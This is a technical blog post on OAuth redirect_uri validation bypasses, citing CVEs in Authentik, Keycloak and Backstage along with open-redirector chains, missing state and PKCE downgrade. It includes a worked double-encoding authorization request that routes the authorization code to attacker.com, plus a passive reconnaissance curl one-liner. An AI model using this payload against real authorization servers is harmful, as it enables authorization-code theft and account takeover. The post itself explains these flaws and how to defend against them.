In October 2024, Authentik patched CVE-2024-52289: the redirect_uri validation function called re.match() without first calling re.escape(), turning the dot in app.example.com into a wildcard. The domain app0example.com satisfied the comparison, and any authenticated user was redirected to the attacker's host without additional interaction. Validation existed; the algorithm was wrong.
Fixing that algorithm does not eliminate OAuth risk. If the domain registered as redirect_uri hosts an open redirector, the authorization code reaches the attacker even with exact match active. The authorization server sees the correct domain and approves the request; the second hop delivers the code to the malicious host. This chain of pre-conditions persists silently in production because security tools monitor the OAuth endpoint, not the registered domains.
RFC 6749 Delegated Validation to Each Implementor — and Each Solved It Differently
RFC 6749 §10.6 requires the authorization server to verify the redirect_uri "if provided", but does not define the comparison method. That gap produced 3 CVEs in different implementations within the same period: CVE-2024-52289 (Authentik), CVE-2024-2419 (Keycloak), and CVE-2026-32235 (Backstage). All 3 were discovered independently, in different products, with different bypass algorithms.
CVE-2024-52289 affects Authentik versions before 2024.10.3. The regex without re.escape() transforms the dot into a wildcard: app.example.com as a pattern accepts app0example.com as a valid redirect_uri. The result is one-click account takeover for any authenticated user in the current session. A backport to version 2024.8.5 was required given the product's adoption.
CVE-2024-2419 affects Keycloak versions before 22.0.10, CVSS 7.1, classified as CWE-601 URL Redirection to Untrusted Site. The validation logic allows bypass of explicitly allowlisted hosts via URI parsing inconsistency. The same pattern reappears in CVE-2026-3872 for the same product, this time via ..;/ path traversal, confirming that local fixes without reviewing the parsing model do not eliminate the class of vulnerability.
CVE-2026-32235 affects Backstage @backstage/plugin-auth-backend before 0.27.1, CVSS 5.9. A crafted URI passes allowlist verification while resolving to the attacker's host. This demonstrates that a configured allowlist is not equivalent to exact match when the URI parser differs between validation and redirect layers. The vector requires Dynamic Client Registration or Client ID Metadata Documents to be active.
RFC 9700 §2.1 (January 2025) closed the gap by mandating "exact string matching" and prohibiting wildcard patterns. Section §2.1.2 also deprecated the implicit grant for all use cases. Publishing a new RFC to fix the ambiguity 13 years after the original confirms that RFC 6749 left enough room for each implementor to solve the problem differently. At least 3 major implementations got it wrong at the same time.
RFC 9700 closes the algorithm gap: the registered redirect_uri must be compared by exact string match. Open redirectors on already-registered domains are outside RFC 9700's scope. The specification validates the registered URI, not the final destination of the request after the redirect.
When Validation Is Correct, the Open Redirector Completes the Attack
Exact match of redirect_uri eliminates the direct comparison bypass. It does not eliminate the risk when the registered domain itself hosts an open redirector; the authorization server approves the request and the second hop is invisible to it.
HackerOne #665651 documents the chain in production against cloud.gov (GSA). The domain login.fr.cloud.gov was correctly registered as redirect_uri and validation worked as intended. The same domain's /oauth/authorize endpoint accepted a redirect parameter without its own validation, and the authorization code was exfiltrated to the researcher's host. Severity: High, bounty: $750. The redirect_uri validation was correct; the open redirector on the same domain completed the attack.
Researcher voorivex documented a double-encoding vector that exploits the inconsistency between the validation layer and the browser's redirect layer:
# Voorivex double-encoding -- authorization code via location.hash
GET /oauth/authorize
?client_id=CLIENT_ID
&redirect_uri=https%3A%2F%2Fapp.example.com%2523%40attacker.com%2Fcb
&response_type=code
&scope=openid
# Validation layer (1 decode):
# redirect_uri = https://app.example.com%23@attacker.com/cb
# Parser: host = app.example.com -> passes allowlist
# Browser redirect (2 decodes):
# URL = https://app.example.com#@attacker.com/cb?code=SplxlOBeZQQYbYS6WxSbIA
# location.hash = @attacker.com/cb?code=SplxlOBeZQQYbYS6WxSbIA
# Attacker reads code via referrer or JS on attacker.com
The payload %2523%40 encodes %23@. After the first URL decode, the validation layer reads %23@ and interprets the fragment as part of the path, keeping app.example.com as the host. The browser applies the second decode at redirect time and the # converts everything after it to location.hash, where the authorization code is exposed to scripts on the attacker's domain.
HackerOne #131202 documents the same chain on Twitter/X at Critical severity. RFC 9700 §2.1 now explicitly prohibits redirect URIs containing open redirectors: "redirect URIs MUST NOT contain open redirectors". Including that clause in the RFC confirms the IETF treats this as a production reality, not a theoretical scenario.
Missing State and Optional PKCE Amplify the Impact to Account Takeover
The redirect_uri + open redirector chain exfiltrates the authorization code. Without a mandatory state parameter, the same code can be injected into another session via CSRF. Without mandatory PKCE, the intercepted code can be exchanged for an access token without the client_secret.
Without state, the attacker does not need to predict a nonce to complete the flow after the redirect; passively collecting the code is enough for the attack.
GHSA-6wm6-3vpq-6qvv (HedgeDoc, 2022) documents missing state across 5 simultaneous providers: Google, GitHub, GitLab, Facebook, and Dropbox. Every social login endpoint in the same codebase was affected. The security advisory describes account linking attack as a direct consequence, where the attacker links the victim's account to a provider under their control. 5 providers affected by the same omission in a single codebase is the pattern new implementors repeat more often than algorithm failures.
The PKCE downgrade mechanism operates when the authorization server accepts requests without code_challenge for backward compatibility. RFC 7636 §4.4 requires the AS to reject token requests with code_verifier if no code_challenge was sent originally. The inverse check, no challenge and no verifier required, needs an explicit AS policy. OAuth-WG issue #236 documents the active debate about prohibiting the plain method in OAuth 2.1; the open debate confirms that S256-to-plain downgrade remains an operational vector. An AS configured to accept plain for backward compatibility neutralizes S256 guarantees because the attacker simply omits code_challenge or negotiates to plain in the initial request.
RFC 9700 §2.1.1 mandated PKCE as REQUIRED for all clients using authorization code flow and requires the AS to enforce correct use of code_verifier. Compliance with RFC 9700 is not yet universal. Every authorization server not updated represents one that accepts code exchange without client proof of possession, even when the client sends S256.
Pre-conditions Are Passively Observable
The full chain requires 2 signals detectable before any interaction with the authorization server: the registered redirect_uri and open redirectors on the registered domain. Both are observable through passive sources, without any request to the OAuth endpoint.
The redirect_uri appears in client-side code because the browser needs the value to build the authorization request. JS bundles indexed by the Wayback Machine and Common Crawl contain the value hardcoded in OAuth initialization functions. Extracting it via regex from historical bundles reveals registered domains without any request to the AS and without direct contact with the target. That data is available in public captures dating back years before the current assessment.
RFC 8414 defines the /.well-known/oauth-authorization-server endpoint with a public JSON document. In public implementations, supported_grant_types and registration_endpoint are accessible without authentication. Querying this endpoint does not trigger events in the AS monitoring system because it initiates no authorization flow. The grant_types_supported field reveals whether the AS accepts authorization_code without PKCE or implicit flow, both relevant conditions for assessing the risk profile.
Open redirectors on registered domains are discoverable via parameter mining in Wayback Machine historical archives. Parameters like ?next=, ?url=, ?redirect=, and ?return_to= in routes of the registered domain are direct candidates for open redirectors. The intersection of [domain in redirect_uri] and [redirect parameter in Wayback history] produces the risk signal before the first authorization request. Certificate Transparency logs expose historical subdomains of the registered domain, extending the mining surface beyond the registered root. The Wayback Machine CDX API exposes historical redirect_uri URIs without contacting the target:
curl "https://web.archive.org/cdx/search/cdx?url=*.target.com/oauth/callback&output=json&fl=original&collapse=urlkey" 2>/dev/null | python3 -c "import sys,json; [print(r[0]) for r in json.load(sys.stdin)[1:]]"
Automating over these passive sources, as available through intel.mago.team (MAGO team tool), surfaces the intersection before the first OAuth request is made against the target.
Continuous defensive monitoring measures 3 signals: registered redirect_uri domains host open redirectors; the AS accepts authorization requests without code_challenge; callbacks without state are not rejected. RFC 9700 §2.1 describes all 3 gates, each testable in minutes against the live AS. The difference between finding this chain in a bug bounty report and finding it before the attacker is automation over registered domains, not over the OAuth endpoint.
Top comments (0)